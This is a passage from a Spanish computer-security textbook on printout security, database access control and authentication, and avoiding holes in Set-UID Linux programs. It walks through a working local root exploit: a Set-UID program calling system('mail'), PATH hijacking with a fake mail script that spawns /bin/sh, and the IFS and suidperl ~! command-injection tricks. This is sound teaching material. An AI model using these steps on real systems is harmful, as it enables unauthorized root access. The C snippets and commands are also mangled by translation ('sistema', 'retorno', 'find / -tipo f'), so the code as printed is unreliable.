datos, donde a priori ha de haber una mayor concienciación por la seguridad informática.
Evidentemente, hay que tomar medidas contra estos problemas. En primer lugar, las
impresoras, plotters, faxes, teletipos, o cualquier dispositivo por el que pueda salir información
de nuestro sistema ha de estar situado en un lugar de acceso restringido; también es
conveniente que sea de acceso restringido el lugar donde los usuarios recogen los documentos
que lanzan a estos dispositivos. Sería conveniente que un usuario que recoge una copia se
acredite como alguien autorizado a hacerlo, aunque quizás esto puede ser imposible, o al menos
muy difícil, en grandes sistemas (imaginemos que en una máquina con cinco mil usuarios
obligamos a todo aquél que va a recoger una impresión a identificarse y comprobamos que la
identificación es correcta antes de darle su documento...con toda seguridad necesitaríamos una
persona encargada exclusivamente de este trabajo), siempre es conveniente demostrar cierto
grado de interés por el destino de lo que sale por nuestra impresora: sin llegar a realizar un
control férreo, si un atacante sabe que el acceso a los documentos está mínimamente controlado
se lo pensará dos veces antes de intentar conseguir algo que otro usuario ha imprimido.
Elementos que también pueden ser aprovechados por un atacante para comprometer nuestra
seguridad son todos aquellos que revelen información de nuestros sistemas o del personal que
los utiliza, como ciertos manuales (proporcionan versiones de los sistemas operativos
utilizados), facturas de teléfono del centro (pueden indicar los números de nuestros módems) o
agendas de operadores (revelan los teléfonos de varios usuarios, algo muy provechoso para
alguien que intente efectuar ingeniería social contra ellos). Aunque es conveniente no destruir
ni dejar a la vista de todo el mundo esta información, si queremos eliminarla no podemos
limitarnos a arrojar documentos a la papelera: en el capítulo siguiente hablaremos del basureo,
algo que aunque parezca sacado de películas de espías realmente se utiliza contra todo tipo de
entornos. Es recomendable utilizar una trituradora de papel, dispositivo que dificulta
muchísimo la reconstrucción y lectura de un documento destruido; por poco dinero podemos
conseguir uno de estos aparatos, que suele ser suficiente para acabar con cantidades moderadas
de papel.
Capítulo IV
Control de acceso a los datos
Elementos para el control de acceso
En un sistema de gestión de base de datos existen diversos elementos que ayudan a controlar el
acceso a los datos.
En primer lugar el sistema debe identificar y autentificar a los usuarios utilizando alguno de las
siguientes formas:
Código y contraseña
Identificación por hardware
Características bioantropométricas
Conocimiento, aptitudes y hábitos del usuario
Información predefinida (Aficiones, cultura, etc) ·
Además, el administrador de la base de datos deberá especificar los privilegios que un usuario
tiene sobre los objetos:
Usar una B.D.
Consultar ciertos datos
Actualizar datos
Crear o actualizar objetos
Ejecutar procedimientos almacenados
Referenciar objetos
Indexar objetos
Crear identificadores
Mecanismos de autentificación
La autentificación, que consiste en identificar a los usuarios que entran al sistema, se puede
basar en posesión (llave o tarjeta), conocimiento (clave) o en un atributo del usuario (huella
digital).
Claves
El mecanismo de autentificación más ampliamente usado se basa en el uso de claves o
passwords; es fácil de entender y fácil de implementar. En Linux, existe un archivo /etc/passwd
donde se guarda los nombres de usuarios y sus claves, cifradas mediante una función one way
F. El programa login pide nombre y clave, computa F(clave), y busca el par (nombre, F(clave))
en el archivo.
Con claves de 7 caracteres tomados al azar de entre los 95 caracteres ASCII que se pueden
digitar con cualquier teclado, entonces las 957 posibles claves deberían desincentivar cualquier
intento por adivinarla. Sin embargo, una proporción demasiado grande de las claves escogidas
por los usuarios son fáciles de adivinar, pues la idea es que sean también fáciles de recordar. La
clave también se puede descubrir mirando (o filmando) cuando el usuario la digita, o si el
usuario hace login remoto, interviniendo la red y observando todos los paquetes que pasan por
ella. Por último, además de que las claves se pueden descubrir, éstas también se pueden
"compartir", violando las reglas de seguridad.
En definitiva, el sistema no tiene ninguna garantía de que quien hizo login es realmente el
usuario que se supone que es.
Identificación física
Un enfoque diferente es usar un elemento físico difícil de copiar, típicamente una tarjeta con
una banda magnética. Para mayor seguridad este enfoque se suele combinar con una clave
(como es el caso de los cajeros automáticos). Otra posibilidad es medir características físicas
particulares del sujeto: huella digital, patrón de vasos sanguíneos de la retina, longitud de los
dedos. Incluso la firma sirve.
Algunas medidas básicas:
Demorar la respuesta ante claves erróneas; aumentar la demora cada vez. Alertar si hay
demasiados intentos.
Registrar todas las entradas. Cada vez que un usuario entra, chequear cuándo y desde dónde
entró la vez anterior.
Hacer chequeos periódicos de claves fáciles de adivinar, procesos que llevan demasiado tiempo
corriendo, permisos erróneos, actividades extrañas (por ejemplo cuando usuario está de
vacaciones).
Un sistema de de base de datos cuenta con un subsistema de seguridad y autorización que se
encarga de garantizar la seguridad de porciones de la BD contra el acceso no autorizado.
Identificar y autorizar a los usuarios: uso de códigos de acceso y palabras claves, exámenes,
impresiones digitales, reconocimiento de voz, barrido de la retina, etc.
Autorización: usar derechos de acceso dados por el terminal, por la operación que puede
realizar o por la hora del día.
Uso de técnicas de cifrado: para proteger datos en BD distribuidas o con acceso por red o
internet.
Diferentes tipos de cuentas: en especial la del adminsitrador de la base de datos con permisos
para: creación de cuentas, concesión y revocación de privilegios y asignación de los niveles de
seguridad.
Manejo de la tabla de usuarios con código y contraseña, control de las operaciones efectuadas
en cada sesión de trabajo por cada usuario y anotadas en la bitácora, lo cual facilita la auditoría
de la BD.
Discrecional: se usa para otorgar y revocar privilegios a los usuarios a nivel de archivos,
registros o campos en un modo determinado (consulta o modificación).
El ABD asigna el propietario de un esquema, quien puede otorgar o revocar privilegios a otros
usuarios en la forma de consulta (select), modificación o referencias. A través del uso de la
instrucción grant option se pueden propagar los privilegios en forma horizontal o vertical.
Obligatoria: sirve para imponer seguridad de varios niveles tanto para los usuarios como para
los datos.
Llamamos autentificación a la comprobación de la identidad de una persona o de un objeto.
Hemos visto hasta ahora diversos sistemas que pueden servir para la autentificación de
servidores, de mensajes y de remitentes y destinatarios de mensajes. Pero hemos dejado
pendiente un problema: las claves privadas suelen estar alojadas en máquinas clientes y
cualquiera que tenga acceso a estas máquinas puede utilizar las claves que tenga instaladas y
suplantar la identidad de su legítimo usuario.
Por tanto es necesario que los usuarios adopten medidas de seguridad y utilicen los medios de
autentificación de usuario de los que disponen sus ordenadores personales. Hay tres sistemas de
identificación de usuario, mediante contraseña, mediante dispositivo y mediante dispositivo
biométrico.
La autentificación mediante contraseña es el sistema más común ya que viene incorporado en
los sistemas operativos modernos de todos los ordenadores. Los ordenadores que estén
preparados para la autentificación mediante dispositivo sólo reconocerán al usuario mientras
mantenga introducida una llave, normalmente una tarjeta con chip. Hay sistemas de generación
de claves asimétricas que introducen la clave privada en el chip de una tarjeta inteligente.
Los dispositivos biométricos son un caso especial del anterior, en los que la llave es una parte
del cuerpo del usuario, huella dactilar, voz, pupila o iris. Existen ya en el mercado a precios
relativamente económicos ratones que llevan incorporado un lector de huellas dactilares.
Control de acceso a la BD
La seguridad de las Bases de Datos se concreta mediante mecanismos, tanto "hardware" como
"software". Así estos mecanismos son:
El primero se denomina identificación, que procede a identificar a los sujetos(procesos,
normalmente transacciones que actúan en su nombre o usuarios) que pretenden acceder a la
base de datos.
El siguiente mecanismo que actúa es el de autenticación. El proceso usual es mediante
contraseñas, constituidas por un conjunto de caracteres alfanuméricos y especiales que sólo el
sujeto conoce. También se puede realizar mediante algún dispositivo en poder del mismo o
alguna de sus características bioantropométricas.
En caso de que el sujeto sea positivamente identificado y autenticado, se debe controlar el
acceso que pretende a los objetos(datos y recursos accedidos por los sujetos. Por ejemplo, si se
considera un SGBD relacional los recursos que deben protegerse son las relaciones, vistas y
atributos). El mecanismo involucrado se denomina de control de accesos y se encarga de
denegar o conceder dichos accesos en base a unas reglas, que establecen en qué condiciones el
sujeto puede acceder y realizar ciertas operaciones sobre el objeto especificado. Estas reglas
son dictadas por una persona con autoridad suficiente, que normalmente es el propietario de los
datos o, en el caso de una organización, el administrados de la base de datos, de acuerdo con
unas políticas de seguridad. Una regla de autorización se suele representar mediante una
tripleta (s,o,p), que especifica que el sujeto esta autorizado para ejercer un privilegio sobre un
objeto . Los sujetos de autorización son las entidades del sistema a las que se les asignan las
autorizaciones sobre los objetos. Los sujetos se pueden clasificar en las siguientes categorías:
Usuarios, es decir, individuos simples conectados al sistema. A veces seria más útil especificar
los criterios de acceso basándose en sus calificaciones y características, más que en la identidad
del usuario. Grupos, es decir, conjuntos de usuarios. Roles, o lo que es igual, conjuntos de
privilegios necesarios para realizar actividades especificas dentro del sistema. Procesos, que
ejecutan programas en nombre de los usuarios. Necesitan recursos del sistema para llevar a
cabo sus actividades, y normalmente tienen acceso sólo a los recursos necesarios para que se
puedan realizar las tareas del proceso. Esto limita el posible daño derivado de fallos del
mecanismo de protección. Los privilegios de autorización establecen los tipos de operaciones
que un sujeto puede ejercer sobre los objetos del sistema.
El conjunto de privilegios depende de los recursos a proteger. Por ejemplo, los privilegios
típicos de un SGBD relacional son seleccionar, insertar, actualizar y eliminar. Normalmente,
los privilegios están organizados jerárquicamente y la jerarquía representa una relación de
asunción entre privilegios. Si la transacción invocada trata de modificar el contenido de la base
de datos, los cambios propuestos son chequeados por el sistema de gestión de la misma, para
garantizar su integridad semántica o elemental.
Así mismo, el sistema de gestión se responsabiliza de evitar accesos concurrentes a dicha base.
Finaliza la transacción, con éxito o no, el citado sistema de gestión graba en un registro de
auditoria todas las características de aquella. Este registro también contiene la información
pertinente para la recuperación de la base de datos, caso de un fallo de ésta o una caída del
sistema. Aunque este mecanismo no impide los accesos no autorizados, tiene efectos
disuasorios sobre potenciales atacantes, permitiendo además encontrar puntos débiles en los
mecanismos de seguridad. Adicionalmente a todos estos mecanismos, el medio físico sobre el
que se almacena la base de datos puede estar protegido criptográficamente. Igualmente las
copias de seguridad pueden estas así defendidas frente a ataques.
Los tipos de elementos se combinan para formar el sistema que se utiliza para analizar los
métodos de protección:
. Los usuarios con acceso a la base de datos, a los que por brevedad denominaremos accesores
· El tipo de acceso deseado
· Los elementos a los que se realizara el acceso
Cada uno de estos elementos debe estar adecuadamente identificado a fin de lograr el control
del acceso a los datos. También es necesario considerar el entorno o frontera del área dentro de
la cual es valido es sistema de protección.
Definiciones. Se definirá cierto numero de términos a fin de que el análisis subsecuente de los
mecanismos resulte claro: ·
Entorno: Existe un área con perímetro bien definido, conocido como sistema de la base de
datos.
Usuarios e intrusos: Dentro de esta área puede haber individuos autenticados adecuadamente
identificados; individuos disfrazados de usuarios validos, e intrusos.
Alcance limitado: El sistema desconoce la identidad de los individuos en el mundo exterior.
Privilegios: Existen varios privilegios de acceso a los datos, relacionados con la identificación
de un individuo. La descripción de estos privilegios se mantiene como parte del sistema de la
base de datos.
Protección: Todos los elementos dato están protegidos hasta cierto punto mientras se
encuentren dentro del área del sistema de la base de datos, y perderán toda la protección que
proporciona el sistema al sacarse del área.
Confiabilidad: Un prerrequisito para lograr la protección de la base de datos es un alto nivel de
confiabilidad del sistema.
La identificación externa de los usuarios con acceso a la base de datos es en primer lugar el
nombre, en la forma en que lo introduzcan al sistema. Un usuario con derecho de acceso
también puede identificarse mediante una clave de acceso (password), darse al ser solicitada, o
tal vez por una llave o identificación que la maquina pueda aceptar. Se han propuesto y
probado métodos que dependen de la unicidad biológica de los seres humanos. Son
manifestaciones de esta codificación única de los individuos las huellas dactilares y las firmas.
El sistema de la base de datos, que aquí se ha definido, no será responsable de la decodificación
primaria y de validación o autenticación de la información presentada. Y a que los servicios de
acceso al sistema operativo son un prerrequisito para el empleo de la base de datos, la tarea de
autenticación se deja a módulos del sistema operativo. El método empleado para la
identificación de un individuo depende mucho de la tecnología disponible en un caso
especifico.
El subsistema de autenticación presentara al sistema de base de datos una cadena de bits que se
considerara la llave de acceso.
Este modulo debe impedir que un impostor obtenga una llave. Todas las autorizaciones y
privilegios dados a los usuarios con acceso a la base de datos dependerán de la llave de acceso.
Para asegurarse que las llaves de acceso no estén a disposición de accesores no autorizados, la
identificación de un individuo debe ser muy difícil de imitar o copiar.
Aunque el nombre de un individuo pueda ser único, es fácil que cualquiera que a quienes tienen
acceso al sistema lo copie, por lo que no es una llave adecuada.
Una vez que se obtiene una llave de acceso al sistema, esta llave se utiliza para entrar al
sistema de la base de datos desde el sistema operativo. La responsabilidad del manejo de la
llave corresponde tanto al accesor como al sistema operativo.
A fin de proteger el proceso de obtención de una llave del sistema, cuando el usuario realiza la
entrada (en ingles LOG IN) solicita una clave de acceso con el nombre del usuario. La clave de
acceso se introduce sin exhibirla a fin de protegerse de los observadores. En general, esta clave
de acceso consistirá en unas cuantas letras, elegidos por el usuario.
Un intruso podría utilizar un método de ensayo y error para introducir posibles claves de acceso
y lograr entrar. E l tiempo necesario para realizar un ensayo sistemático es el principal
elemento para desanimar a posibles intrusos. El tiempo esperado para abrir un seguro
especifico sin ningún conocimiento previo es T(entrar)= 1/2 cd t(ensayo) en donde c d es el
numero de posibles combinaciones y t (ensayo) el tiempo necesario para ensayar o probar una
combinación. Para una clave de acceso de tres letras, d=3 y c=26, el tiempo para la interacción
con el sistema podría ser t(ensayo) = 3 segundos, de manera que T (entrar) 7 hrs. Si el proceso
de autenticación se requiere con poca frecuencia, un retraso artificial en el proceso de apertura
podría aumentar la seguridad del seguro.
Medidas de seguridad en un entorno de BD
Confidencialidad
Autorización en sistemas de bases de datos.
Identificación y autenticación. ·
Código y contraseña. ·
Identificación por Hardware. ·
Características bioantropométricas. ·
Conocimiento, aptitudes y hábitos del usuario. ·
Información predefinida (Aficiones, cultura, etc.) ·
Privilegios al usuario.
Usar una B.D. ·
Consultar ciertos datos. ·
Actualizar datos. ·
Crear o actualizar objetos. ·
Ejecutar procedimientos almacenados. ·
Referenciar objetos. ·
Indexar objetos. ·
Crear identificadores. ·
Diferentes tipos de autorización.
Autorización explícita. Consiste en almacenar que sujetos pueden acceder a ciertos objetos con
determinados privilegios. Se usa una Matriz de Accesos ·
Autorización implícita. Consiste que una autorización definida sobre un objeto puede deducirse
a partir de otras. ·
Disponibilidad
Los sistemas de B.D. Deben asegurar la disponibilidad de los datos a los usuarios que tienen
derecho a ello, por lo que se proporcionan mecanismos que permiten recuperar la B.D. Contra
fallos lógicos o físicos que destruyan los datos.
Recuperación
El principio básico en el que se apoya la recuperación de la base de datos es la Redundancia
Física.
Tipos de fallos
Los que provocan la pérdida de memoria volátil, usualmente debidos a la interrupción del
fluido eléctrico o por funcionamiento anormal del hardware.·
Los que provocan la pérdida del contenido de memoria secundaria, por ejemplo, cuando
patinan las cabezas en un disco duro. ·
Capítulo V
Desarrollo de aplicaciones seguras
Parte I – evitando agujeros de seguridad
durante el desarrollo de aplicaicones
Introducción
No toma más de dos semanas antes que una aplicación mayor, parte de la mayoría de las
distribuciones de Linux, nos presente un agujero de seguridad, permitiendo, por ejemplo, a un
usuario local para alcanzar privilegios de root. A pesar de la gran calidad de la mayoría de
estos programas, es un trabajo duro asegurar la fiabilidad del mismo: no se le debe permitir a
un tipo con malas intenciones, beneficiarse ilegalmente de los recursos del sistema. La
disponibilidad en la aplicación del código fuente es bueno, muy apreciado por los
programadores, pero un pequeño defecto en el programa se hace visible a todos. Además, el
descubrimiento de los tales defectos son aleatorios y las personas que hacen esta clase de cosas
no siempre actúan con buenas intenciones.
Del lado del administrador de sistemas, el trabajo diario consiste en la lectura de las listas
relacionadas con los problemas de seguridad e inmediatamente poner al día los paquetes
afectados. Para un programador puede ser una buena lección, poner a prueba los problemas de
seguridad. Es preferible evitar desde un principio los agujeros de seguridad. Intentaremos
definir algunas conductas peligrosas "clásicas" y proporcionar soluciones para reducir los
riesgos. Nosotros no hablaremos sobre los problemas de seguridad en redes, ya que ellos se
presentan a menudo por errores de la configuración ( los peligrosos scripts cgi-bin,...) o de los
errores del sistema que permiten los ataques del tipo DoS (Denegación de Servicio) para
impedir a una máquina escuchar a sus propios clientes.
Estos problemas involucran a los Administradores de sistemas o desarrolladores del kernel,
pero también al programador de la aplicación, en tanto tenga en cuenta los datos externos. Por
ejemplo, pine, acroread, netscape, access,... en algunas versiones y bajo ciertas condiciones,
permiten el acceso o fugas de información. De hecho la programación segura nos concierne a
todos.
Este grupo de artículos muestran los métodos que pueden usarse para dañar un sistema Unix.
Nosotros sólo hemos mencionado algunos o dicho algunas palabras sobre ellos, pero
preferimos explicaciones abiertas para hacer entender a las personas de tales riesgos. Así,
cuando ponemos a punto un programa o desarrollamos uno propio, usted podrá evitar o corregir
éstos errores. Para cada uno de los agujeros que se traten, efectuaremos el mismo análisis.
Empezaremos detallando la manera de funcionamiento. Luego, mostraremos cómo evitarlo.
Para cada ejemplo, usaremos los agujeros de seguridad que se presentan frecuentemente en un
amplio expectro de programas.
Este primer artículo habla sobre el fundamentos necesarios para la comprensión de los agujeros
de seguridad, que son la noción de privilegio y el bit de Set-UID o Set-GID. Luego,
analizaremos los agujeros basados en la función system (), ya que son más fáciles de entender.
A menudo usaremos pequeños programas en C, para ilustrar sobre lo que nosotros hablaremos.
Sin embargo, los acercamientos mencionados en estos artículos son aplicables a otros lenguajes
de programación: perl, java, shell scripts... Algunos agujeros de seguridad dependen de un
lenguaje, pero esto no es completamente cierto para todos ellos, cuando nosotros lo veamos con
system ().
Privilegios
En un sistema Linux, los usuarios no son iguales y las aplicaciones tampoco. El acceso a los
nodos del sistema de archivos y -de acuerdo con los periféricos de la máquina - confíamos en
un control de identidad estricto. Algunos usuarios se permiten realizar operaciones sensibles
para mantener el sistema en buenas condiciones. Un número llamado UID (User Identifier)
permite la identificación. Para hacer las cosas más fácil, un nombre del usuario corresponde a
este número, la asociación se hace en el archivo de /etc/passwd.
El usuario root, con UID predefinido de 0, puede acceder a todo el sistema. Él puede crear,
modificar, quitar cada nodo del sistema, pero también puede manejar la configuración física de
la máquina y puede montar particiones, activar interfaces de red y cambiar su configuración
(dirección IP ), o usando llamadas del sistema como es mlock () para actuar en la memoria
física, o sched_setscheduler () para cambiar el mecanismo del ordenación. En un artículo
futuro, estudiaremos los Posix.1e ,características que permiten limitar un bit de los privilegios
de una aplicación ejecutados como root, pero por ahora, asumamos que el superusuario puede
hacer de todo en una máquina.
Los ataques que nosotros mencionaremos son internos, es decir, que es un usuario autorizado
en una máquina que intenta conseguir privilegios que no tiene. Por otro lado, los ataques de la
red son externos y vienen de las personas que intentan conectarse a una máquina donde no les
está permitido. Para conseguir los privilegios de otros usuarios, lo piensan hacer bajo el
nombre, el UID de ese usuario, y no bajo el nombre de usuario propio. Por supuesto, un cracker
intenta conseguir el ID del superusuario, pero también hay muchas otras cuentas de usuarios
que son de interés, porque cualquiera de ellas dan acceso a la información del sistema (news,
mail, lp...) o porque ellas permiten leer datos privados (correo, archivos personales, etc) o ellas
pueden usarse para ocultar actividades ilegales como ataques hacia otros sitios.
Para usar privilegios reservados de otro usuario, sin poder notar su verdadera identidad, uno
debe por lo menos tener la oportunidad de comunicarse con una aplicación que corre bajo el
UID de la víctima. Cuando una aplicación - un proceso - corre bajo Linux, tiene una identidad
bien definida. Primero, el programa tiene un atributo llamado RUID (Real UID)
correspondiendo al usuario ID que lo lanzó. Este dato es manejado por el kernel y normalmente
no puede cambiarse. Un segundo atributo completa esta información: el campo EUID
(Effective UID) correspondiendo a la identidad del kernel, que tiene en cuenta cuando maneja
los derechos de acceso (abriendo archivos, llamados al sistema reservados).
Para ejecutar una aplicación con un EUID (sus privilegios) diferente del RUID (el usuario que
lo lanzó), el archivo ejecutable debe tener un bit específico llamado Set-UID. Este bit se
encuentra en el atributo de permisos del archivo (como usuario puede ejecutar, leer, escribir
bits, miembros de grupo u otros) y tiene el valor octal de 4000. El bit del Set-UID se representa
con un s al desplegarse los derechos con el comando ls:
>> ls -l /bin/su
-rwsr-xr-x 1 root root 14124 Aug 18 1999 /bin/su
>>
El comando "find / -tipo f -perm +4000" despliega una lista de las aplicaciones del sistema que
tienen su bit de Set-UID fijandolo en 1. Cuando el kernel ejecuta una aplicación con el bit SetUID puesto en 1, usa la identidad de propietario como EUID de los procesos. Por otro lado, el
RUID no cambia y corresponde al usuario que lanzó el programa. Hablando por ejemplo sobre
/bin/su, cada usuario puede tener acceso a este comando, pero corre bajo su identidad de
propietario (root), de acuerdo a cada uno de los privilegios que tiene en el sistema. No basta
decir, que se debe ser muy cuidadoso al escribir un programa con este atributo.
Cada proceso también tiene un ID de grupo Efectivo, EGID, y un identificador real RGID. El
bit del Set-GID (2000 en octal) en los derechos de acceso de un archivo ejecutable, le pide al
kernel tomar el grupo de propietarios del archivo como EGID y no de uno del de grupo que
haya lanzado el programa. A veces aparece una combinación curiosa, con el Set-GID fijado en
1, pero sin el bit de ejecución de grupo. De hecho, es una convención que no tiene nada que
hacer con privilegios relacionados con las aplicaciones, pero indicando el archivo que puede
bloquearse con la función fcntl(fd, F_SETLK, lock). Normalmente una aplicación no usa el bit
Set-GID, pero a veces pasa, en algunos juegos, por ejemplo, lo usan para guardar los mejores
resultados en un directorio del sistema.
Tipo de ataques y los blancos potenciales
Hay varios tipos de ataques contra un sistema. Hoy nosotros estudiamos los mecanismos para
ejecutar un comando externo desde dentro y la aplicación. Éste normalmente es la shell que
corre bajo la identidad del dueño de la aplicación. Un segundo tipo de ataque confía en la
inundación de la memoria temporal(buffer overflow), dandole al atacante la posibilidad de
acuerdo a instrucciones del código personales. Por último, el tercer tipo principal de ataque es
basado en la condición de competencia(race condition), lapso de tiempo entre dos instrucciones
en las que un componente del sistema se cambia (normalmente un archivo) mientras la
aplicación lo considera inmutable.
Los dos primeros tipos de ataques, intentan a menudo ejecutar un shell con los privilegios del
propietario de la aplicación, mientras el tercero tiene como objetivo conseguir acceso de
escritura a los archivos del sistema protegido. A veces el acceso de lectura es considerado
como una debilidad de la seguridad del sistema (archivos personales, emails, el archivo de la
contraseña /etc/shadow, y los archivos de configuración del pseudo-kernel en /proc.
Los blancos de ataques de seguridad son principalmente los programas que tienen el bit de SetUID (o Set-GID) habilitado. Sin embargo, esto también concierne a cada aplicación que corre
bajo un ID diferente a uno de los del usuario. Los demonios del sistema representan una parte
importante de estos programas. Un demonio normalmente es una aplicación que empieza al
momento de la inicialización(boot) y corre en segundo plano sin ningún terminal de control, y
efectuando tareas con privilegios para cualquier usuario. Por ejemplo, el demonio lpd permite a
cualquier usuario enviar documentos a la impresora, el sendmail recibe y envía correo
electrónico, o el apmd le pide el estado de la batería a la BIOS de un portátil. Algunos
demonios están a cargo de la comunicación con usuarios externos a través de la red (los
servicios Ftp, Http, Telnet...). Un servidor llama al inetd para manejar la conexión.
Entonces nosotros podemos concluir que un programa puede atacarse en cuanto se comunique muy brevemente - a un usuario diferente del que lo empezó. Si el diseño de una aplicación suya
posee semejante rasgo, usted debe tener cuidado mientras la desarrolla y tener presente los
riesgos que se presentan con las funciones que hemos estudiado.
Cambiando los niveles de privilegios
Cuando una aplicación corre con un EUID diferente de su RUID, es proporcionarle privilegios
a ese usuario que no debería tener (acceso al archivo, llamados al sistema reservado...). Sin
embargo, esto sólo se necesita puntualmente, por ejemplo cuando abrimos un archivo; por otra
parte la aplicación puede cubrirse con los privilegios de su usuario. Es posible temporalmente
cambiar una aplicación EUID con la llamada al sistema:
seteuid del int (uid del uid_t);
Un proceso siempre puede cambiar sus valores EUID dándole uno de su RUID. En ese caso, el
UID viejo se retiene en un campo de guardado llamado SUID (Saved UID) diferente del SID
(Session ID) usado por el administrador del terminal de control. Siempre es posible volver de
los SUID para usarlos como EUID. Por supuesto, un programa que tiene un null EUID (root)
puede cambiar su EUID y RUID a voluntad (es la manera como trabaja /bin/su).
Para reducir los riesgos de ataques, se sugiere también cambiar el EUID y usar el RUID de los
usuarios. Cuando una porción de código necesitan privilegios que corresponden a aquéllos
propietarios del archivo, es posible poner el Saved UID en EUID. Aquí hay un ejemplo:
uid_t e_uid_initial;
uid_t r_uid;
int main (int argc, char * argv [])
{
/* Se guardan las diferentes UIDs */
e_uid_initial = geteuid ();
r_uid = getuid ();
/* limita los derechos de acceso a uno de los
* programas usados en el lanzamiento */
seteuid (r_uid);
...
privileged_function ();
...
}
void
privileged_function (void)
{
/* Le devuelve los privilegios iniciales */
seteuid (e_uid_initial);
...
/* Porción que necesita los privilegios */
...
/* Devuelve los derechos del programa ejecutante */
seteuid (r_uid);
}
Esta manera de trabajar es mucho más segura que el opuesto, demasiado a menudo vista y
consiste en utilizar la EUID inicial y entonces reducir temporalmente los privilegios sólo antes
de hacer una operación "arriesgada". Sin embargo esta reducción del privilegio es inútil contra
los ataques de desbordamiento de memoria temporal. Cuando nosotros veamos en un próximo
artículo, estos ataques intentan interrogar a la aplicación para la ejecución de instrucciones
personales y pueda contener las llamadas al sistema (system-calls) necesarias para obtener el
nivel de privilegios más alto. No obstante, este acercamiento nos protege de las comandos
externos y de la mayoría de las condiciones de competencia.
Ejecutando comandos externos
Una aplicación necesita a menudo llamar a un servicio del sistema externo. Un ejemplo bien
conocido, involucra a mail que ordena como manejar un correo electrónico (informe corriente,
alarmas, estadísticas, etc.) sin requerir un complejo diálogo con el sistema de correo. La
solución más fácil es usar la función de la biblioteca:
int system (const char * command)
Peligros de la función system ()
Esta función es bastante peligrosa: llama a la shell para ejecutar el comando enviándolo como
un argumento. La conducta de la shell depende de la opción del usuario. Un ejemplo típico
viene de la variable de ambiente PATH. Supongamos una aplicación que llama a la función del
mail. Por ejemplo, el programa siguiente envía su código fuente al usuario que lo lanzó:
/ * system1.c * /
#include < stdio.h >
#include < stdlib.h >
int
main (void)
{
if (sistema ("el correo $USER < system1.c") != 0)
perror ("sistema");
return (0);
}
Digamos que este programa es el Set-UID del superusuario:
>> cc system1.c -o system1
>> su
Password:
[root] el chown root.root system1
[root] el chmod +s system1
[root] exit
>> ls -l system1
-rwsrwsr-x 1 root root 11831 Oct 16 17:25 system1
>>
Para ejecutar este programa, el sistema ejecuta un shell (con /bin/sh) y con la opción -c, le dice
la instrucción para invocar. Entonces la shell pasa por la jerarquía del directorio, según la
variable de ambiente del PATH que encuentra un ejecutable llamado mail. Entonces, el usuario
sólo tiene que cambiar esta variable contenida antes de correr la aplicación principal. Por
ejemplo:
>> export PATH=.
>>. /system1
intenta encontrar el comando mail dentro del directorio actual. Bastan entonces, para crear allí
un archivo ejecutable (para este caso, un script que ejecute una nueva shell) y llamar al mail y
el programa se ejecuta entonces con el EUID de dueño de la aplicación principal. Aquí, nuestro
script ejecuta /bin/sh. Sin embargo, desde que se ejecuta con una entrada estándar
redireccionada (como la del mail inicial), nosotros debemos volver al terminal. Entonces
nosotros creamos el script:
#! /bin/sh
# "mail" script que corre bajo el shell
# lo devuelve a su entrada normal.
/bin/sh < /dev/tty
Aquí está el resultado:
>> export PATH="."
>> . /system1
bash# /usr/bin/whoami
root
bash#
Por supuesto, la primera solución consiste en dar la ruta completa del programa, por ejemplo
/bin/mail. Entonces aparece un nuevo problema: la aplicación confía en la instalación del
sistema. Si /bin/mail está normalmente disponible en cada sistema, ¿dónde está por ejemplo,
GhostScript? (está en /usr/bin, /usr/share/bin, /usr/local/bin). Por otro lado, otro tipo de ataque
es posible con shell antiguas: el uso de la variable de ambiente IFS. La shell lo usa para
analizar sintácticamente las palabras en la línea de comandos. Esta variable contiene los
separadores. Los valores por defecto son el espacio, el tabulador y el retorno. Si el usuario
agrega la barra inclinada /, el comando " /bin/mail" se entiende por la shell como "bin mail" Un
archivo ejecutable llamado bin en el directorio actual, puede ser ejecutado simplemente
poniendo el PATH, como hemos visto antes, y permitirnos ejecutar este programa con la
aplicación EUID.
Bajo Linux, la variable de ambiente IFS no es ya un problema desde que el bash lo completa
con los carácteres por defecto en la partida (también hecho con pdksh). Pero, con la
portabilidad de la aplicación en mente, usted debe estar consciente de que algunos sistemas
pueden quedar inseguros viéndolos con esta variable.
Algunas otras variables de ambiente pueden causar problemas inesperados. Por ejemplo, la
aplicación de mail le permite al usuario ejecutar un comando mientras compone un mensaje
usando una sucesión de escape" ~! ". Si el usuario escribe el string" ~ ! command" al principio
de la línea, el comando se ejecuta. El programa /usr/bin/suidperl usado para hacer los scripts en
perl Set-UID, al descubrir un problema, llama a /bin/mail para enviar un mensaje al
superusuario La aplicación que es del Set-UID superusuario , invoca a /bin/mail que lo hace
bajo esta identidad. En el mensaje enviado al superusuario , el nombre del archivo defectuoso
está presente. Un usuario puede crear un archivo entonces donde el nombre del archivo
contiene un retorno del carro seguido por un secuencia ~!command y otro retorno de carro. Si
el script en perl llamado suidperl falla en un problema de bajo nivel relacionado a este archivo,
un mensaje se envía bajo la identidad del superusuario conteniendo la secuencia de escape
desde la aplicación del mail.
Este problema no debería existir si es que el programa mail, suponemos que no acepta
secuencias de escape cuando corre automáticamente (no de un terminal). Desgraciadamente, un
característica indocumentada de esta aplicación (probablemente dejada desde la depuración),
permite que las secuencias de escape interactúe como también cuando se fijó la variable de
ambiente . ¿El resultado? Un agujero de seguridad fácilmente explotable (y ampliamente
utilizado) en una aplicación que se supone mejora la seguridad del sistema. El error es
compartido. Primero, /bin/mail tiene una opción indocumentada muy peligrosa, ya que permite
la ejecución del código que sólo verifica los datos enviados, lo que debe ser a priori sospechoso
para una utilidad de mail. Segundo, aún cuando el desarrollo de /usr/bin/suidperl no ponen
cuidado de la variable interactive, ellos no deben dejar pasar por alto el ambiente de la
ejecución cuando se hace una llamada con un comando externo, sobre todo cuando escribimos
este programa con el Set-UID de superusuario.
De hecho, Linux ignora el bit del Set-UID y del Set-GID al ejecutar los scripts (léase
/usr/src/linux/fs/binfmt_script.c y /usr/src/linux/fs/exec.c). Algunos trucos permiten saltarse
esta regla, como Perl que hay que tener en cuenta, lo hace con sus propios scripts que usan este
bit en /usr/bin/suidperl .
Soluciones
No es tan fácil encontrar siempre un reemplazo para la función system () . La primera variante
es usar las llamadas al sistema como execl () o execle (). Sin embargo, será bastante diferente
desde que el programa externo ya no se llama como un subrutina, pero el comando invocado
reemplaza el proceso actual. Usted debe agregar una duplicación del proceso y analizar
sintácticamente los argumentos de la línea de comandos. Así el programa:
if (system ("/bin/lpr -Plisting stats.txt") != 0) {
perror ("Imprimiendo");
retorno (-1);
}
se vuelve:
pid_t pid; int status;
if ((pid = fork ()) < 0) { perror ("fork"); return (-1);
}
if (pid == 0) {
/* el proceso hijo */
